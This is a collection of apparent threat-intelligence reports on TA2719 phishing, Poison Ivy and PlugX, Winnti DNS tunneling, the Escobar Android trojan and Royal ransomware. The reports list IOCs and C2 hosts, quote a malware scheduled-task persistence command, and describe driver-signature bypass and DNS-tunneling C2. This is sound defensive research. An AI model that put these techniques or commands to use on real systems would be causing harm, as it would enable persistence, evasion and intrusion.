text
stringlengths
8
115k
# Threat Actor Profile: TA2719 Uses Colorful Lures to Deliver RATs in Local Languages In late March 2020, Proofpoint researchers began tracking a new actor with a penchant for using NanoCore and later AsyncRAT, popular commodity remote access trojans (RATs). Dubbed TA2719 by Proofpoint, the actor uses localized lures with colorful images that impersonate local banks, law enforcement, and shipping services. To date, Proofpoint has observed this actor send low volume campaigns to recipients in Austria, Chile, Greece, Hungary, Italy, North Macedonia, Netherlands, Spain, Sweden, Taiwan, United States, and Uruguay. Below are recent lure examples, message volume, geo targeting, and payload details. While lures are customized for various geographies and impersonate individuals associated with the spoofed entities, no vertical targeting has been observed. This actor typically delivers malware via malicious attachments, though URLs linking to malicious files were used as a delivery mechanism in early campaigns. TA2719 often relies on widely available resources, such as commodity malware and free hosting providers, to execute their campaigns. ## Lures Most lures observed appear to be from a real person with a connection to the spoofed organization. Even details like the street address in the alleged sender’s signature are often accurate. Combined with the branding, these details attempt to boost legitimacy of the message. They could still appear legitimate to an intended recipient who chooses to search for the sender’s name or address before opening the attached file or clicking a link in the message. Campaigns observed during March-May 2020 were primarily law enforcement-themed. Using local languages and logos from local law enforcement agencies, the subject lines often attempted to create urgency by claiming, “ขอความดวนจากสํานักงานตํารวจแหงชาติ (Urgent message from the Royal Thai Police),” or “Последната полициска покана пред апсењето (The last police invitation before the arrest).” In addition to law enforcement-themed lures, some messages sent during this time spoofed shipping notifications. One early campaign also preyed on COVID-19 fears and impersonated the Taiwan Centers for Disease Control. This campaign was notable not only because of the theme, but also because it leveraged both URLs and attachments to deliver the payload. Typically, TA2719 uses attachments or URLs, but rarely a mix of both in a single campaign. In early June 2020, Proofpoint observed a shift away from law enforcement lures as TA2719 began to use more common bank, shipping, and purchase order lures. Lures continued to be bank-themed in late June, with subjects like, “Εισερχόμενη επιταγή πληρωμής (Incoming payment notification).” As of mid-July, TA2719 shifted to exclusively using package delivery lures, impersonating shipping companies and using subject lines like, “Your parcel from Mrs. Garn has arrived at our office,” or “您从中国寄来的包裹已经到了我们办公室(陈先生的包裹)(The package you sent from China has arrived at our office (Mr. Chen's package).” ## Volume Campaign message volume has been relatively low, with a few dozen or few hundred messages per campaign. Total monthly message volume peaked in May but has since returned to levels closer to those observed in March and April. Since late March, Proofpoint has observed several TA2719 campaigns per month. The message volume spike in May was driven by fewer campaigns with over 2,000 messages each, rather than multiple smaller campaigns seen in other months. ## Targeting Though the campaigns don’t appear to have any vertical targeting, they are carefully crafted for specific regions. Various languages and references to legitimate local entities, such as banks or law enforcement organizations, have been observed: - **Austria**: German - Police - **Chile**: Spanish - Shipping - **Greece**: Greek - Police, banking - **Hungary**: Hungarian - Police, banking - **Italy**: Italian - Police - **Netherlands**: Dutch - Police - **North Macedonia**: Macedonian - Police, shipping - **Singapore**: English - Police - **Spain**: Spanish - Police, shipping - **Sweden**: Swedish - Police, banking - **Taiwan**: Chinese - CDC, shipping - **Thailand**: Thai - Police - **Uruguay**: Spanish - Police - **United States**: English - Shipping Intended recipients often have easily searchable profiles online, and TA2719 also sends to role-based email addresses. This suggests that there is little targeting at the individual recipient level, but that the recipient lists may be more opportunistic in nature and compiled using basic OSINT techniques. ## Delivery and Payload From March to early July, NanoCore was distributed primarily through emailed ISO file attachments. Several campaigns instead used URLs linking to malicious ISO files. Finally, sometimes the actor attempted to deliver a mix of attachments and URLs in the same email. When using URLs, ISO files were hosted on compromised sites or file hosting services. In mid-July, the actor pivoted from distributing NanoCore to AsyncRAT, another commodity RAT. Like NanoCore, AsyncRAT has been advertised on forums and as of May 2020, appears to still be under active development with new features released May 10, 2020. Across all campaigns observed by Proofpoint, the ISO files had a generic name, such as ‘Document.iso’ or ‘pdf.iso’. Once the user opens the ISO–which opens like any other folder on the computer–they then must double click the malware executable file inside to run it. The C&C hostnames and IPs used by TA2719 appear to be relatively stable, changing roughly once per month. This actor sometimes uses free dynamic DNS (DDNS) providers for their C&C. ## Conclusion While not the most advanced lures we’ve seen, the localization and inclusion of legitimate street addresses and names of real individuals related to the spoofed entities demonstrate this actor’s attention to detail. Though TA2719 does not appear to target any particular industry, they tailor their messages to various geographies and send medium-volume campaigns several times per month. Their use of free DDNS providers, reuse of infrastructure, and reliance on commodity malware demonstrate the ease with which threat actors can begin and maintain an operation. ## IOCs **NanoCore** Attachment SHA256: 6489bbcdd9e0588d6e4ee63e5f66346e7d690ac3b7ee5249436fb1db8abc6453 Malware SHA256: 1b93790c002d5216822277c6b8abb36dfd5daf9ebc14553135c992f64f8d949e C&Cs: 172.111.188[.]199, megaida123.ddns.net **AsyncRAT** Attachment SHA256: 161eaa18e31aec64433158da81eea99e518659e06ed36e2052508a7cbeb688c6 Malware SHA256: bcc0be90110b3b960230a366f1be67904704f87645ff5fde69536432d73feace C&C: 194.5.98[.]8 **ET + ETPRO Signatures** **NanoCore**: ETPRO MALWARE NanoCore RAT Keep-Alive Beacon - 2816718 **AsyncRAT**: ETPRO MALWARE Observed Malicious SSL Cert (AsyncRAT Server) - 2836595
# Threat Analysis: Poison Ivy and Links to an Extended PlugX Campaign ## Key Points & Assessment: - Japan CERT identified a new Poison Ivy RAT variant (SHA1 44073031790e5ba419374dc55f6ac1cba688b06c) with updated C2 functionality. - The malware was created in September 2014 and uploaded to Virus Total in January 2015. It uses the dynamic DNS-provided C2 getstrings[.]jumpingcrab[.]com. This domain has resolved to at least 3 IP addresses: 210.121.164.186, 27.255.71.200, and 27.255.94.224. - Several decoy documents were identified that deliver the PlugX malware and call out to one of the two IP addresses mentioned above. These documents were reportedly used in a campaign identified by SOPHOS that spanned from September 2014 to February 2015. India was one target of the campaign. - Given the infrastructure and timing overlaps, the Poison Ivy sample discussed in this post was likely just one payload involved in a broader campaign targeting India, the Tibetan community, and others, that spanned from approximately September 2014 to February 2015. - The Poison Ivy sample in this case thus appears to be tied to attacks by one or more adversaries acting on behalf of Chinese interests. ## Poison Ivy: New C2 Proxy Functionality Poison Ivy (PIVY) is a well-known, fully-featured remote access tool (RAT) that has existed since about 2005. It offers a user-friendly GUI, a variety of plugins to enhance functionality, and can be found online by any prospective attacker. Although anyone can acquire the tool, PIVY is often associated with actors who have a nexus to China. The malware has been extensively documented, including its use in espionage-motivated intrusions, and continues to show signs of active development. A recent blog post from Japan CERT (JPCERT) details new Poison Ivy communications functionality. According to JPCERT, the malware now uses HTTP POST requests and supports proxy authentication to command-and-control (C2) servers. ## File & Execution Details Unfortunately, we do not know the delivery vector or target. The intended target may have been one or more Japanese organizations, given that JPCERT was the first to dissect this PIVY sample. Alternatively, it is just as likely that JPCERT simply observed attacks against other victims. - **File Name:** vscrtapp.exe - **File size:** 67.0 KB (68608 bytes) - **MD5:** 1aca09c5eefb37539e86ec86dd3be72f - **SHA1:** 44073031790e5ba419374dc55f6ac1cba688b06c - **SHA256:** d1aa00b6b11fbefd2dda3b458d9fb5e975865b564bf1c289a6f464b14ad748cc - **imphash:** 6fcb46b0cf3f3baf36d97eba47832406 - **Compilation timestamp:** 2014-09-14 01:30:49 - **First submission:** 2015-01-19 11:03:27 UTC The sample will write the file `vscrta0ps.log` to `C:\Documents and Settings\All Users\AppData\`. There appear to be no legitimate applications that would write this file to disk. It will also run the command: ``` schtasks /create /sc minute /mo 1 /tn "Update Assist" /tr "\"C:\Documents and Settings\All Users\AppData\vscrtapp.exe\"" /ru "system" ``` This command will create a scheduled task named “Update Assist.” This task will run the malware every minute on the victim’s machine as `vscrtapp.exe` in the `%AppData%` directory. The task serves as a basic method of persistence, ensuring that the malware runs regularly. There are no indications that the malware creates any registry keys; the scheduled task appears to be the malware’s only means of persistence. It is not clear what, if any, legitimate EXE `vscrtapp.exe` is attempting to mimic. One possibility may be NetApp’s Virtual Storage Console (VSC) for VMWare. The presence of the `vscrtapp.exe` filename could serve as a simple host-based method of detection. The malware will set a mutex (it imports the function CreateMutexA), although the value is undetermined. ## PIVY Infrastructure C2 communications will be made to getstrings[.]jumpingcrab[.]com using HTTP POST requests. The domain jumpingcrab[.]com is a dynamic DNS (DDNS) service. While not inherently malicious, DDNS providers are often abused by threat actors so they do not have to rely on static infrastructure; IP resolution for a host could change at any time. Analysis of an attacker’s infrastructure is thus made more difficult. The use of DDNS also means that the relevancy and reliability of any infrastructure pivots must be carefully considered. ### Current and Historical Resolutions for getstrings[.]jumpingcrab[.]com: - **27.255.94.224**: KR 27.255.94.0/24 (2015-07-24 to 2015-08-02) - **27.255.71.200**: KR 27.255.71.0/24 (2015-03-31) - **210.121.164.186**: KR 210.121.128.0/17 (2015-01-19 to 2015-01-20) The timing of the earliest known resolution–210.121.164.186–directly correlates with the first submission time of the sample. The Passive Total heat map indicates there were almost no active resolutions for this host from February until late July, suggesting that the adversary may have observed the submission and deactivated DNS for the host on or around January 19. The host briefly resolved to 27.255.71.200 for one day in March and, as of publication, points to 27.255.94.224 where we see eight additional hosts (which also use DDNS domains): - www.yahoo.4pu.com - www.google.zzux.com - www.winupdate.ddns.ms - freemoney.ignorelist.com - www.micrsoft.ddns.ms - office.onmypc.org - www.office.onmypc.org - abcdollar.mooo.com Both winupdate[.]ddns[.]ms and www[.]micrsoft[.]ddns[.]ms are attempting to resemble legitimate Windows and Microsoft sites, respectively. However, it is unknown if any of these hosts are related to the actors who created getstrings[.]jumpingcrab[.]com. ## Related Threat Activity Several documents appear to target victims interested in Chinese affairs, attempt to install the PlugX malware (aka Korplug, SOGU), and communicate to two of the identified IP addresses (210.121.164.186 or 27.255.71.200). PlugX is another ubiquitous RAT commonly linked to Chinese threat actors. ### Documents and Relevant Metadata: - **CHINA NEWS BRIEF 09 of 2015.doc** - MD5: 9d0388251cbaf3648aba463f66a8fee8 - SHA1: a4602a357360b0ed8e9b0814b1322146156fb7f6 - SHA256: 89ab2d9643bdefd6d46618b2f11fb1357bb555a0e33d5d8fc8bb33eba3fe7cc3 - Create Time/Date: Wed Sep 3 02:25:00 2014 - First submission: 2015-01-30 04:44:34 UTC - C2: freemoney.ignorelist.com (210.121.164.186) - **Draft contract CMS Trg System.doc** - MD5: 5bb6be7fcddcd1cc51957ebc17ed872a - SHA1: 03b2a660d68004444a5189173e3b8001f4a7cd0b - SHA256: add84116acee953f6606a2240059a05fb4658cfacdee6dd75be752e183c5cab7 - Create Time/Date: Fri Jan 30 02:41:00 2015 - First submission: 2015-02-01 09:49:08 UTC - C2: freemoney.ignorelist.com (210.121.164.186) - **contact list.doc** - Title: Suggested Invitees for Ambassador - MD5: 971d49f78387e47fa57a13080b8d317f - SHA1: f4342ac81450c119429b1b9363fa5e941b0c4266 - SHA256: 58c6e1bbb1c70568476aeec1471ddba74f1fbd31beb1fff471434d3042ee315d - Create Time/Date: Mon Jul 19 07:59:00 2010 - C2: dnshost.dns05.com (27.255.71.200) Two of the above RTF files (CHINA NEWS BRIEF 09 of 2015.doc and Draft contract CMS Trg System.doc) exploit CVE-2012-0158 to install PlugX, which then calls to 210.121.164.186, the IP that getstrings[.]jumpingcrab[.]com pointed to in January. The “China News Brief” document is shown below. Interestingly, both CHINA NEWS BRIEF 09 of 2015.doc and Draft contract CMS Trg System.doc are mentioned in a February 2015 SOPHOS report. The report discusses PlugX attacks on a variety of targets including those in India. The attacks reportedly took place between September 2014 and February 2015. Our PIVY sample was compiled on September 14, 2014 and submitted to Virus Total on January 19, 2015. In addition to the infrastructure overlap, this correlation in timing also suggests that the Poison Ivy sample was just one payload involved in a much broader, 5-6 month campaign targeting India, the Tibetan community, and likely others of interest to China. According to the SOPHOS report: > Not surprisingly, just like with several other campaigns, in this case it was observed that different malware families were distributed using similar carrier documents; only the encrypted payload was replaced at the end of the file. The shellcode used in the carrier was very convenient for this purpose: the length and location of the final payload was stored at the end of the file. It was possible to swap the payload without needing to modify the exploit condition and the shellcode itself. Thus, our Poison Ivy sample in this case appears to be tied to extensive attacks by one or more adversaries acting on behalf of Chinese interests.
# WINNTI GROUP: Insights From the Past **April 20, 2020** Newly uncovered DNS tunneling technique, and new campaign against South Korean gaming company. ## Executive Summary In January 2020, QuoIntelligence (QuoINT) detected a new Winnti sample uploaded to a public virus scanner from a German location. Following our preliminary analysis, we assessed with high confidence that the sample was used to target a previously unreported German chemical company. As part of our responsible disclosure, we alerted the affected entity, local law enforcement, and our clients. In the following weeks, the German news media source Tagesschau reported our initial detection and analysis of the sample and confirmed the chemical company’s awareness of the attack in the second half of 2019. The Winnti sample we analyzed was highly likely developed in 2015 and likely used around this year for the first time; it is unclear how long the compromise existed in the compromised environment. Although the malware was likely used years ago, further analysis revealed a previously unreported C2 technique never attributed to any Winnti Group toolkits. The technique relies on a DNS tunneling communication channel through a custom implementation of the iodine source code, an open-source software that enables the tunneling of IPv4 data through a DNS server. Additionally, we uncovered a previously unknown stolen digital certificate being used to digitally sign Winnti-related attack components and the targeting of a previously unreported South Korean video game company. The sophistication of the techniques we uncovered confirms that the Winnti Group is a highly sophisticated and highly committed Advanced Persistent Group targeting a plethora of different industry sectors in Europe and South Asia. ## Introduction The Winnti Group (also known as APT41, BARIUM, and Blackfly) is an alleged Chinese state-sponsored umbrella organization in China’s intelligence branch linked through their use of shared goals and attack resources. The suspected state-sponsor link to China’s government pinpoints that it likely has an incentive to continue targeting a variety of industries, especially those highlighted as a priority for China’s economic development. On Friday, 13 January, QuoIntelligence (QuoINT) detected a new Winnti sample uploaded to a public virus scanner from a German location. Following our preliminary analysis, we assessed with high confidence that the sample was used to target a previously unreported German chemical company. Additionally, during our analysis, we uncovered a previously unknown stolen digital certificate being used to digitally sign Winnti-related drivers and a potential campaign against an already known South Korean video game company. In the last year, researchers and journalists have publicly disclosed that the Winnti group targeted and eventually compromised Henkel (2014), BASF (2015), Bayer (2018), and Roche (2019). This most recent previously unreported German chemical company is yet another German chemical company targeted by Winnti since 2015. Prior to our analysis, this attack activity was not publicly reported. In December 2019, Germany’s Federal Office for the Protection of the Constitution (BfV) released a report related to the alleged Chinese state-sponsored umbrella organization known as the Winnti Group. Through our internal malware analysis, we are confident that the sample we discovered is highly similar to the Winnti sample described in the BfV report. The sample also matches known characteristics of Winnti’s arsenal shared through intelligence reports produced by ESET. Further, we have informed the affected company, law enforcement agencies, and sent a warning to our customers upon detection. ## The Winnti Group The Winnti Group (also known as APT41, BARIUM, and Blackfly) is an alleged Chinese state-sponsored umbrella organization in China’s intelligence branch linked through their use of shared goals and attack resources. Notably, various operations attributed to other China-linked threat actor groups, such as APT17 and Ke3chang, have also leveraged its backdoor malware. Active since at least 2010, initial attacks attributed to the group heavily targeted the gaming industry. However, as researchers have continued to follow and dissect the group and its activity, the group’s target focus has expanded to other industries, including chemical, pharmaceutical, technology, and software. Further, the group’s evolution involves the enhancement, development, and inclusion of new tools and tactics. The suspected state-sponsor link to China’s government pinpoints that it likely has an incentive to continue targeting a variety of industries, especially those highlighted as a priority for China’s economic development. In the latest Winnti Group public report, FireEye researchers reported a new widespread campaign attributed to APT41 which involves exploitation attempts of recently disclosed and patched vulnerabilities for products of Cisco, Citrix, and Zoho. The campaign waves apparently take a more targeted approach to selecting potential victims across various sectors including financials, government, and information technology. According to the researchers, identified victim systems demonstrated the threat actor leveraged commercially available post-exploitation tools such as Cobalt Strike and Meterpreter, which are essentially full-featured backdoors. ## Technical Analysis ### Sample Targeting German Chemical Company The main artifact uploaded to VirusTotal is a Dynamic Link Library (DLL) file, with a compilation timestamp suggesting the sample was built in August 2015. Although the compilation time might be legitimate, it is not possible to determine when and how long the attackers used this malware. **HASHES** | Compilation Timestamp | Filename | |-----------------------|-------------------| | 2015-08-06 | TmPfwRVS.dll | | | | | | | | | | **Table 1 – Winnti sample** Similar to other Winnti samples, the configuration section contains a string referring to the name of the campaign. In this case, at 0X020, the referred campaign name is the name of the chemical company – redacted for the purposes of this blog. **Figure 2 – Extracted configuration from Winnti sample** The analyzed artifact we observed contains the following binaries listed below, and also aligns with observations in the BfV report. **HASHES** | Compilation Timestamp | Filename | |-----------------------|-------------------| | 2015-08-06 | TmPfwRVS.dll | | 2015-08-05 | driver1.sys | | 2015-05-05 | driver2.sys | | 2014-12-15 | dsefix.exe | | 2008-May-31 | vboxdrv.sys | **Table 2 – Additional artifacts contained by Winnti sample** ### Analysis of dsefix.exe This is essentially Windows x64 Driver Signature Enforcement Overrider (DSEFix), used to temporarily disable the driver signature enforcement on Windows systems by using an included old, legit VirtualBox driver, both signed and exploitable. By running dsefix.exe, the malware can bypass driver verification and install its own drivers. We identified the following two drivers which were embedded in the earlier described main artifact. To note that this technique does not work on modern Windows (e.g., Windows 10) – yet another piece of evidence that this malware was designed and used multiple years ago. ### Analysis of vboxdriver This is the vulnerable, correctly signed with a digital certificate, VirtualBox driver that is used for exploitation. It is used regularly by various threat actors and by the previously highlighted dsefix.exe. The driver can also be used to perform the Turla Driver Loader (TDL) exploitation technique, a similar technique as DSEFix. ### Analysis of driver1.sys In late 2019, ExaTrack released their analysis of a signed Winnti rootkit previously observed in the wild, which we confirm is essentially the same rootkit driver. The sample is capable of injecting raw packets into the network and receiving specially formatted packets. In comparison, our variant has the same exact number of bytes, and there are large parts exactly matching. ### Analysis of driver2.sys This rootkit driver seems to be largely the same as driver1.sys with the same characteristics including structure, I/O control, and device strings. However, this driver supports different versions of Windows. It checks for ranges of Windows New Technology (NT) build numbers and returns early. ### C2 DNS Tunneling By analyzing the malware, it is possible to find two network indicators within its code: The hardcoded 208.67.222.222 is a legitimate OpenDNS DNS server (resolver1.opendns.com). This IP is pushed into a list that is generated by the malware at runtime. Likely, the initiation routine also populates the list with the system’s DNS, and the OpenDNS server is only used as a fallback case to ensure the C2 domain gets resolved. The dick[.]mooo[.]com FQDN name is offered by FreeDNS, which is a free dynamic DNS service. Notably, in the last years, multiple researchers have reported Winnti/PlugX C2 hostnames hosted in the mooo[.]com zone. In the code we observed that a dot (.) is enforced before the FQDN. Additional analysis revealed that the malware generates subdomains with base128 encoding and appends them to the FQDN. Further, dots are added into it every 57 characters potentially as a hostname length restriction, suggesting the expectation of long hostnames. We confirm the buffer can support FQDNs up to 2000 characters. Upon further investigation, we found out that the malware includes the open-source iodine source code – software that enables the tunneling of IPv4 data through a DNS server. Interestingly, we are not aware of any earlier documentation highlighting Winnti specifically leveraging iodine for DNS tunneling. However, researchers at the Ruhr University Bochum, while hunting for DNS tunnels, observed APT32 and Wekby APT groups using NULL and TXT records as a C2 communication channel, as well as mentioning the mooo[.]com top-level domain in their findings. The implementation of iodine used in the Winnti sample is integrated and uses some custom wrapper, as evidenced by the matching functions we discuss in further detail in the following section. ### Use of Iodine for C2 DNS Tunneling The iodine DNS tunneling solution is embedded in the DLL that is initially loaded and executed in memory and includes at least the following 15 matching functions: For instance, the 64-bit executable contains the build_hostname function, which corresponds with the older 32-bit version (compiled with debug symbols) of iodine 0.6.0. Based on the presence of the functions base128_blksize_enc and base128_blksize_raw, we determined the version used, while not exactly known, is from before May 2017 when a patch removed those functions. Further, comparative analysis indicates that for the implementation of iodine in this Winnti attack operation, there is no perfect match for the two versions having 64-bit pre-compiled binaries. This indicates iodine was compiled from source and it is reasonable it is being used as a library, and not in its normal distribution format of a standalone executable. The DNS tunneling technique adopted by the malware through the use of iodine is detailed in the figure below. 1. The malware generates a hostname and appends it to the embedded C2 dick[.]mooo[.]com, and makes a NULL query to the resulted FQDN (e.g., abcde is appended to .dick[.]mooo[.]com). Notably, NULL and TXT DNS request types are iodine’s preferred channels since they are “expected to provide the largest downstream bandwidth.” It is hence not a coincidence that researchers at Ruhr University Bochum also observed an extensive use of NULL request types for DNS tunneling purposes in their research. 2. The infected host sends the DNS query to one of the DNS servers included in the list populated at runtime, eventually to the OpenDNS fallback server. At this point, the DNS server executes a recursive DNS query by contacting the Name Servers (NS) of each zone until the Authoritative NS of dick[.]mooo[.]com is obtained. To note, FreeDNS does provide users the capability to delegate the authority of their subdomains to external NS. In the described scenario, attackers delegated the NS of their subdomain to use their NS as a de-facto C2 server. 3. The DNS server returns the authoritative answer by forwarding the content of the NULL record type to the infected host. Notably, the legit DNS server acts as a proxy between the infected host and the malicious server, making it impossible for defenders to apply any filtering at the Network (L3) level. ### The NULL DNS Record Type The implementation of NULL type tunneling can be observed in the following excerpt taken while reversing the malware: The third argument when calling dns_encode shall be of the type “struct query” from Iodine’s dns.c. According to common.h, “struct query” is defined as: Since QUERY_NAME_SIZE equals 512 (4 * 128 – integers are 4 bytes) the query[128] call obtained from the reversing activity is indeed the DNS query type. As noted, reversing activity detailed the query[128] value to be 0xa. From Iodine’s windows.h T_NULL is DNS_TYPE_NULL. ### Winnti Signed Code With Digital Certificate from IQ Technology During our analysis of the Winnti sample configured to target the German chemical company, our comparative analysis of other Winnti-related drivers revealed a digital certificate issued to IQ Technology, a Taiwanese company producing Natural Language Processing (NLP) and Artificial Intelligence (AI) software. The rootkit driver aligns with the already known driver1.sys. While it is a known TTP that Winnti attributed attacks have involved stolen digital certificates for code signing its malware components, the use of this certificate is not publicly discussed, except for a brief report from a security researcher apparently associated with a Vietnamese security company. Although the report is no longer online, the discussed sample contains a compilation timestamp of August 2015, which is the earliest one observed in the wild that we identified using this digital certificate. At the time of analysis, the digital certificate was already revoked. The sample’s structure, debug symbols, and explanatory debug messages included within suggest it is highly likely a development version. Additionally, the compilation timestamp indicates the sample was created 20 minutes prior to driver1.sys. Both samples are highly related, and their contents combined with the date of analysis and reporting essentially solidify that it existed in 2015; however, this does not necessarily corroborate to an attack timeframe. ### Sample Targeting South Korean Gaming Company **HASHES** | Compilation Timestamp | Filename | |-----------------------|-------------------| | 2016-03-07 09:44:01 | Install.exe | On 21 February, we detected the new submission of a 64-bit Winnti executable to a public online malware scanning service. As multiple researchers have reported, Winnti operators embed the name of their target directly into the malware, but in an obfuscated manner. ### Binary Analysis The sample resembles the Winnti Dropper Install.exe described by ESET, since it is a command line executable used to drop and load additional encrypted payload. Unfortunately, we were not able to find the payload meant to be decrypted by this dropper. However, we were able to extract the malware’s configuration file and identify the intended target. In this case, the following string was included within the extracted configuration: Based on previous knowledge and targeting of the Winnti Group, we assess that this sample was likely used to target Gravity Co., Ltd., a South Korean video game company. The company is known for its Massive Multiplayer Online Role Playing Game (MMORPG) Ragnarok Online, which is also offered as a mobile application. As we have also reported in the past, the video game industry is one of the preferred targets of the Winnti Group, especially for those companies operating in South Korea and Taiwan. Interestingly, ESET researchers, while reporting on multiple Winnti Group campaigns targeting the video game industry, listed in their report a C2 server having a Campaign ID GRA KR 0629. At this time, we do not have any further evidence supporting a potential link between the sample we analyzed and the C2 detailed by ESET, but the coincidence between the C2 Campaign ID/Location with the Campaign ID we extracted from the Winnti dropper is worth noting. ## Conclusion The Winnti Group has exhibited their ability to breach different organizations and conduct sophisticated attack operations, typically motivated by espionage and financial gain, with various TTPs and malware toolkits. While attribution is not concrete due to the complexity of the group, there are links that can be drawn between operations which suggest the threat actors purporting the attacks are likely operating within the Winnti Group, or at least sharing resources. The detection of this unreported Winnti variant uploaded to VirusTotal and targeting a German chemical company aligns with our prior observations and research from previous intelligence reporting highlighting Winnti Group’s interest in German DAX companies. As a result, organizations of all sizes, but especially small to medium-sized companies, including Germany’s hidden champions, should prepare against such threats as they are vital to the economic ecosystem and continuous development of niche markets. Government oversight (local, regional, and across the EU) should ensure susceptible organizations such as these are following regulation and implementing security best practices to protect against future attacks. ## Appendix ### Indicators of Compromise - 4209b457f3b42dd2e1e119f2c9dd5b5fb1d063a77b49c7acbae89bbe4e284fb9 - cf3a7d4285d65bf8688215407bce1b51d7c6b22497f09021f0fce31cbeb78986 - 1865013aaca0f12679e35f06c4dad4e00d6372415ee8390b17b4f910fee1f7a2 - 8ddc6dd9fc3640cd786dfbc72212cd001d9369817aa69e0a2fa25e29560badcf - bfa8948f72061eded548ef683830de068e438a6eaf2da44e0398a37ac3e26860 - df6af36626d375c5e8aff45c64bfc1975d753b109e126a6cb30ee0523550329c - *.dick[.]mooo[.]com - 208[.]67[.]222[.]222 - 45[.]248[.]85[.]200 ### MITRE ATT&CK | Tactic | Technique | Recommended Course of Action | |------------------|-----------------------|------------------------------| | Persistence | T1215 Kernel Modules and Extensions | Anti-Virus software and Advanced End-Point solution can drastically reduce the risk of both techniques. | | Privilege Escalation | T1068 Exploitation for Privilege Escalation | | | Defense Evasion | T1009 Binary Padding | Many of the samples analyzed were signed with expired/revoked certificates. Enforce signature validation via Group Policies for executables. | | | T1014 Rootkit | | | | T1116 Code Signing | | | Exfiltration | T1022 Data Encrypted | For DNS Tunnel, ensure that DNS logs are collected and reviewed. | | | T1048 Exfiltration Over Alternative Protocol | DNS telemetric data should also be collected in order to spot frequent and heavy loaded DNS communication that are definitely not related to an usual DNS query. | | | | FreeDNS and DynDNS servers should be blacklisted/synkholed if not strictly required. | | | | DNS NULL type queries should not be avoided. Only the required record types should be allowed. |
# Nasty Escobar Banking Trojan Is Targeting Google Authenticator Codes For Android Did you ever think you would have a digital drug lord in the palm of your hand? No, we're not talking about a game. We're talking about malware that aims to steal your banking information. A new variant of the Abrebot malware has been nicknamed "Escobar" after its package name. With the package name of `com.escobar.pablo`, the malware includes a number of the same features and code as another one named Aberebot. Researchers at Cyble, a security research organization, found the malware by scouring a cybercrime-oriented forum. The feature set includes remote view, phishing overlays, screen captures, text-message captures, and even multi-factor authentication capture. All of those features are used in tandem with an attempt to steal a user's banking information. This malware even goes so far as to disguise itself as McAfee antivirus software, and even uses the McAfee logo as its icon. Masquerading as security software is nothing new—in fact, we recently reported on malware that was packaged directly inside of a fully functioning 2-factor authentication app. ## List Of Permissions That Escobar Malware Can Abuse The full list of dangers of this particular malware is extensive. Not only can it do what was outlined above, it can also bypass your screen lock and even send text messages to your entire contact list. It can record audio from the microphone, get your location, and initiate phone calls. The malware even has the capability of checking the phone's access to data, such as if you turned off mobile data and turn it back on again. The absolute biggest threat though is that it can even read from the official Google Authenticator app, without user interaction, by directly interfacing with it to capture any codes that might be used during a login process. How can you protect yourself from such a nasty piece of work? Well, so far the malware does not look to have been included in any official distribution via the Play Store. So don't do any side-loading of APKs that you don't trust, or don't side-load at all. Watch your mobile and Wi-Fi data on your device and if there are any apps you don't recognize using extra data, look into them. If you have any legitimate malware detecting apps, pay attention to their notices. If you believe you've been infected, unfortunately, the best way to eradicate is a factory reset. So, run a backup of anything you deem important on your device (be careful not to include the malware of course) and run your factory reset. The researchers even recommend removing your SIM card because of the data interaction and capabilities of this app to re-activate your mobile data connection without user interaction. If you find fraudulent behavior on your banking or financial accounts you should immediately contact the associated institution. You should also change your passwords on anything associated. Additionally, while it is a best practice to not share passwords across accounts, we know full well that people will do this anyway. If any passwords are shared with the associated account it is best to change passwords on all of them. Tags: Android, Malware, security, trojan
# Reconstructing the Last Activities of Royal Ransomware **November 17, 2022** ## Introduction Royal Ransomware is a new group first spotted on Bleeping Computer last September, where the cybersecurity news site revealed a connection with another malware known as Zeon. At the moment, we don’t have much information about the group and all its actual TTPs, but we know that they use the Double Extortion model to threaten the victims, as stated inside the ransom note. ## About Royal Ransomware Group The Cyber intelligence community has proof that the group started its malicious activities since January, with other ransomware payloads. So, we can say they started their malicious career as affiliated with other Ransomware-as-a-Service providers. But only in the last two months, it started to apply the Double Extortion model, with an ad-hoc website in the Dark Web. During its existence, it seems that the ransomware group didn’t adopt the Ransomware-as-a-Service model to recruit other affiliates to infect victims. The reason might be that the core team wants initially to create a malicious “brand positioning” inside the threat landscape. At the same time, we don’t know which toolkit is used to implement the exfiltration capability. We don’t know if the group uses some custom malware, or if it leverages public storage platforms, such as Mega, Dropbox, etc. ## Technical Analysis We managed to obtain a recent specimen of this threat and analyzed its features and malicious capabilities, in order to create signatures and provide technical insight to better detection. The analyzed sample has the following static information: - **Hash:** 9db958bc5b4a21340ceeeb8c36873aa6bd02a460e688de56ccbba945384b1926 - **Threat:** Royal Ransomware - **Brief:** Ransomware payload **SSDEEP:** 49152:cDVwASOLGtlqrRIU6i9+vazNqQlJZP1BMU2thA8mNtNCiJlrRUFcJ7HIPcLzk+5c:wm+GaNqqJJ12vlZol8cJ7rcl Royal Ransomware is written in C/C++ and it is launched by command line. That behavior suggests that there is a previous and totally human-operated intrusion performed by a pen-testing team, which gained access to the internal network and performed privilege escalation and lateral movement operation. When the executable is launched, it needs three parameters; otherwise, the infection doesn't start: | Parameter | Description | |-----------|-------------| | -path | Specifies an exact path where to encrypt files | | -id | Victim’s ID, needed to run the sample, must be 32 characters | | -ep | Encryption percentage (feature not implemented in this sample) | After that, the sample starts the preparation of the ransomware operation by deleting the shadow copies. Then, the malware starts the preparation for the encryption processes, by creating the lists of the elements to be excluded during the fetching of files and folders. For the files’ extensions, the exclusions are: `.exe, .dll, .bat, .lnk, .royal`. Instead, for the folders exclusion, there are the following: `windows, royal, $recycle.bin, google, perflogs, mozilla, tor browser, boot, $windows.~ws, $windows.~bt, windows.old`. Royal Ransomware has also the capability to infect and encrypt the shared resources inside the internal network. It uses the NetShareEnum seeking the “ADMIN$” and “IPC$” records and then, it proceeds to encrypt the files contained inside the shared folders. At this point, we have the encryption phase. Royal Group uses a mixture of RSA and AES algorithms. The RSA public Key is hardcoded in the sample, and it is easy to retrieve that. The encryption routine is assisted by the OpenSSL library. An AES key is randomly generated and then it is protected with the RSA public key. In this way, the ransomware operator conserves the RSA private key to decrypt the original AES key and then the files could be restored. ## Conclusion The market of cyber extorsion is still growing and other threat actors are riding the wave of the most infamous 2022 trend. The case of Royal Ransomware Group is representative because it started by adopting the affiliation on the RaaS market, and when they reached an appropriate expertise and experience, it created an independent group with a “proprietary” ransomware payload. As stated, at the moment we have no proof they adopt the Ransomware-as-a-Service model, but the group is formed only by talented pen-testers and malware developers aimed at making money through the Double Extortion model. However, this doesn't mean that in the near future the group will reach such a maturity that they will be capable of implementing the RaaS model. ## Indicators of Compromise - 9db958bc5b4a21340ceeeb8c36873aa6bd02a460e688de56ccbba945384b1926 - 